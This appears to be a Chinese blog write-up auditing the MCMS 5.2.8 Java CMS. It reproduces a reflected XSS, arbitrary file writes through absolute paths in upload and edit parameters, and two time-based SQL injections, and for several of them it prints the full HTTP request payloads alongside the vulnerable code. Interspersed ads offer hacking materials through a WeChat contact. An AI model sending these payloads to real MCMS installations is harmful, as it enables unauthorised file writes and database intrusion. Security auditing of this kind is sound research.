记一次MCMS的审计之路

　　MCMS 是 J2EE 系统，完整开源的Java CMS，基于SpringBoot 2架构，前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件（文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等…），一套简单好用的开源系统、一整套优质的开源生态内容体系。

　　十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化，所以我们尝试 审计MCMS 5.2.8

环境搭建

　　我们下载好安装包后

• 利用 idea 打开项目

• 创建数据库 mcms，导入doc/mcms-5.2.8.sql

• 修改src/main/resources/application-dev.yml中关于数据库设置参数

• 运行MSApplication.java main方法

• 利用账户名:密码 msopen:msopen 登录后台http://localhost:8080/ms/login.do

• 进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章

　　启动的时候会有一点小 bug 需要在 idea 中配置

​

　　运行成功后，页面如图所示

前台反射型 XSS漏洞复现

　　‍

【—-帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注 “博客园” 获取！】

　① 网安学习成长路径思维导图
　② 60+网安经典常用工具包
　③ 100+SRC漏洞分析报告
　④ 150+网安攻防实战技术电子书
　⑤ 最权威CISSP 认证考试指南+题库
　⑥ 超1800页CTF实战技巧手册
　⑦ 最新网安大厂面试题合集（含答案）
　⑧ APP客户端安全检测指南（安卓+IOS）　　​

漏洞分析

　　我们看到运行后的控制台输出为

　　我们找到net.mingsoft.basic.filter.XssHttpServletRequestWrapper并添加断点，再次触发漏洞，看到一个完整的调用栈，

　　net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)

　　‍

后台命令执行一漏洞复现

　　后台有一个可以上传模板文件的位置

　　我们上传文件并抓取数据包

　　‍

　　我们看到数据包中的参数uploadPath指定了上传的位置，最后返回了上传后的路径以及文件内容

　　通过修改 参数uploadPath的值，我们就可以将文件上传webapp的任意目录下

　　我们写一个 1.txt 进行验证

POST /ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie: 
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
​
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"
​
/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"
​
true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"
​
false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html
​
test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--

漏洞分析

　　通过路由/ms/file/uploadTemplate定位到代码位置

　　net.mingsoft.basic.action.ManageFileAction#uploadTemplate

​

　　我们看到虽然存在非法路径过滤函数，查看函数内容，仅仅是对../进行了校验，通过绝对路径仍然可以绕过

　　net.mingsoft.basic.action.ManageFileAction#checkUploadPath

　　net.mingsoft.basic.action.BaseFileAction#uploadTemplate

后台命令执行二漏洞复现

　　我们看到除了上传模板的接口，还存在编辑模板的接口

　　点击编辑，编辑后保存并抓取数据包

　　原本的数据包

　　我们看到参数fileName通过绝对路径指定了文件名，所以我们可以通过修改fileName来实现绝对路径写入

漏洞分析

　　net.mingsoft.basic.action.TemplateAction#writeFileContent

　　我们看到对文件的后缀名进行了检验，但还是通过传入的参数 fileName 写入文件

　　‍

后台命令执行三漏洞复现

　　构造数据包

POST /ms/file/upload.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie: 
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
​
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"
​
/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"
​
true
​
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"
​
false
​
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="3.txt"
Content-Type: text/html
​
test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--
​

　　返回上传成功的文件的地址

　　‍

漏洞分析

　　这个漏洞是在第一个后台命令执行的基础上发现的，两个类位于同一个文件内

　　net.mingsoft.basic.action.ManageFileAction#upload

　　虽然存在非法路径过滤函数checkUploadPath，查看函数内容，仅仅是对../进行了校验，通过绝对路径仍然可以绕过

　　对文件的上传是利用了

　　net.mingsoft.basic.action.BaseFileAction#upload

　　存在很多过滤，但是还是可以成功上传文件

　　‍

后台 SQL 注入漏洞

　　‍

漏洞复现

　　构造数据包

GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1
Host: localhost:8080
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie:
Pragma: no-cache
Referer: http://localhost:8080/ms/model/index.do?
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
token: null

　　发现成功使得服务器沉睡五秒

漏洞分析

　　net.mingsoft.mdiy.action.PageAction#verify

　　获取参数并传到方法validated

　　net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)

　　将fieldName和fieldValue的传入到 where 参数中

　　net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)

　　​

　　net.mingsoft.base.dao.IBaseDao#queryBySQL

　　因为是 mybits 所以未采用预编译的${就容易产生注入

　　‍

后台 SQL 注入二漏洞复现

　　登录后台后我们找到自定义模型的位置

　　根据代码生成器 生成一个自定义模型 json 并导入保存

　　点击删除时 抓取数据包

　　修改modelTableName

　　发现成功使得服务器沉睡五秒

漏洞分析

　　net.mingsoft.mdiy.action.ModelAction#delete

　　net.mingsoft.base.biz.impl.BaseBizImpl#dropTable

　　​

　　net.mingsoft.base.dao.IBaseDao

　　‍

　　查看dropTable对应的mapper内容如下，直接将table内容进行拼接且未预编译，造成SQL注入。

更多靶场实验练习、网安学习资料，请点击这里>>

合天智汇：合天网络靶场、网安实战虚拟环境